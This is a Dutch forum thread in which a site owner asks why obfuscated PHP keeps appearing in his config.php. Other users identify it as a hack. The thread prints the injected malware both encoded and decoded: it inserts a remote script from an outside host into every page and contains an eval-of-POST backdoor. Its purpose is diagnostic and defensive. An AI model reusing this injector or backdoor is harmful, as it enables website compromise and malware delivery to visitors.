Fout op website
Ik heb een zeer rare fout voor ...
Elke dag ligt mijn website uit ...
En bovenaan de config.php (hierin wordt de connectie met de database gemaakt) komt dit te staan:
Code (php)
1
<?php bas*e64_decode('aWYoIWlzc2V0KCR4ajdsaTEpKXtmdW5jdGlvbiB4ajdsaSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDI1a2NtVnNZWFJwYjI1emFHbHdMbU52YlM5cGJXRm5aWE12VEZBdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiB4ajdsaTIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkeGo3bGkxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCR4ajdsaTEpKWNhbGxfdXNlcl9mdW5jKCR4ajdsaTEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0neGo3bGknKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgneGo3bGknKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0keGo3bGlsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCd4ajdsaTInKSkhPSd4ajdsaTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>
Ik vind dit zeer raar omdat de website reeds een jaar werkt zonder enige problemen ... en dit nu ineens gebeurd (er is niets veranderd)
Weet iemand wat dit kan zijn?
Alvast bedankt!
Groetjes,
Steven Dirickx
Gewijzigd op 01/01/1970 01:00:00 door Steven dirickx
Je website is dan gehacked! , gebruik je misschien een oudere versie van wordpress / oscommerce / oid ?
Gewijzigd op 01/01/1970 01:00:00 door Jaron T
Iemand zal wel een beveiligingslek gevonden hebben en deze misbruikt hebben.
Dit voert je PHP uit. Ik zet het hier niet neer, omdat het schade kan aanrichten aan je website. Voer het bovenstaande script van steven ook NIET UIT!
Het doet het een en ander met JavaScript. Ook komt de website ndrelationship.com erin voor. Eigenlijk staat er een specifieke URL, maar hier wordt veel JavaScript uitgevoerd en dit is onveilig, voor de meeste bezoeker. Zelf verwachte ik al dat er JavaScript uitgevoerd zou worden, dus heb ik JavaScript uitgezet.
Volgens mij veranderd het script je website, naar wat de maker wilt dat je website eruit ziet.
Nu moet ndrelationship.com niet de schuld krijgen, want deze website kan ook slachtoffer zijn.
Door eval() word het script, dat gecodeerd is door base64 uitgevoerd. Wil je dus alsjeblieft het eval() uit je post halen? Zodat mensen dit niet gaan uitvoeren en zelf ook slachtoffer worden.
Het woord 'xj7li' blijkt ook een veelvoorkomende term. De laatste regel van het script, stelt de maker instaat om elke phpcode uit te voeren, via een post:
Er staat dat $_POST['e'] ge-base64_decodeerd moet worden en daarna uitgevoerd. Zo kan de maker dus elke phpcode uitvoeren, die hij wil.
Bovenstaand script is NIET veilig. Voer het niet uit!
Gewijzigd op 01/01/1970 01:00:00 door Mark L
Ik vermoed dat het niet echt mogelijk is om te vinden langst waar ze binnen geraakt zijn? En verdere stappen te ondernemen?
Groetjes,
Steven Dirickx
Heb je invulformulieren? Zoekfunctie, inlog, contact, o.i.d.
Of zoals jaron al zei: Maak je gebruik van een script zoals wordpres, oscommerce, joomlo, etc.
Die relationship site gaat dan weer een pdf embedden. Dus als je een oude pdf reader hebt, heb je kans dat daar een lek in zit die dan misbruikt wordt.
Stond ook op nu.nl dat een ernstige lek was gevonden in pdf reader dus dat zou goed mogelijk zijn wat karl zegt.
Als je de logs van je server kunt lezen is het mogelijk om te kijken hoe het mogelijk is.
Maar een deel van de site lag gewoon iedere keer uit.
Die pagina's konden gewoon niet geopend worden.
Ik heb nu de volledig account eraf gesmeten .. alle wachtwoorden gewijzigt ...
En ik ben nu aan het nakijken waar er eventueel nog een lek kan zijn.
Maar ik gebruik nergens iets van die oscommerce of pdf reader en dergelijke.
Ik heb de volledig site zelf geschreven.
Code (php)
1
2
3
4
5
2
3
4
5
<?php
if(!isset($xj7li1)){function xj7li($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL25kcmVsYXRpb25zaGlwLmNvbS9pbWFnZXMvTFAucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function xj7li2($a,$b,$c,$d){global $xj7li1;$s=array();if(function_exists($xj7li1))call_user_func($xj7li1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='xj7li')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('xj7li');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$xj7lil=(($a=@set_error_handler('xj7li2'))!='xj7li2')?$a:0;eval(base64_decode($_POST['e']));
------
<script src=http://ndrelationship.com/images/LP.php ></script>
[/code]
if(!isset($xj7li1)){function xj7li($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL25kcmVsYXRpb25zaGlwLmNvbS9pbWFnZXMvTFAucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function xj7li2($a,$b,$c,$d){global $xj7li1;$s=array();if(function_exists($xj7li1))call_user_func($xj7li1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='xj7li')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('xj7li');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$xj7lil=(($a=@set_error_handler('xj7li2'))!='xj7li2')?$a:0;eval(base64_decode($_POST['e']));
------
<script src=http://ndrelationship.com/images/LP.php ></script>
[/code]
Zo kan iemand gewoon je hele site platgooien -> Alle functies die PHP kent zijn aanroepbaar, door de gebruiker.
@Miloan: Valt mee. Op een fatsoenlijke host kan dit niet ;-)
Maar hoe kan het dat deze persoon deze code in 1 van mijn bestanden wegschrijft?
Ik gebruik ook nergens functies die iets naar bestanden wegschrijft ..
--> Alleen naar databases ...
Tja.. Pcextreme is nou ook niet alles.. *brakke beveiliging*
**steven** schreef op 20.10.2009 15:56:
Deze staat bij pcextreme toch wel een fatsoenlijke host vermoed ik.
Maar hoe kan het dat deze persoon deze code in 1 van mijn bestanden wegschrijft?
Ik gebruik ook nergens functies die iets naar bestanden wegschrijft ..
--> Alleen naar databases ...
Maar hoe kan het dat deze persoon deze code in 1 van mijn bestanden wegschrijft?
Ik gebruik ook nergens functies die iets naar bestanden wegschrijft ..
--> Alleen naar databases ...
Kan van alles zijn. Zoals je zelf al zegt gebruik je invoervelden, upload script, etc. Controleer alle $_POST en $_GET variabelen en zorg dat daarmee geen kwaadaardige code kan worden toegevoegd.
Misschien is 't script geupload voor je upload script of gewoon ergens in een invoerveld uitgevoerd.
Chris Kortaan schreef op 20.10.2009 15:57:
Tja.. Pcextreme is nou ook niet alles.. *brakke beveiliging*
Heb je bron ofzo? Of kan je wat meer vertellen hierover? Ik heb zelf ook al 3jaar een site bij pcextreme staan en nog geen problemen gehad.
Gewijzigd op 01/01/1970 01:00:00 door Michael -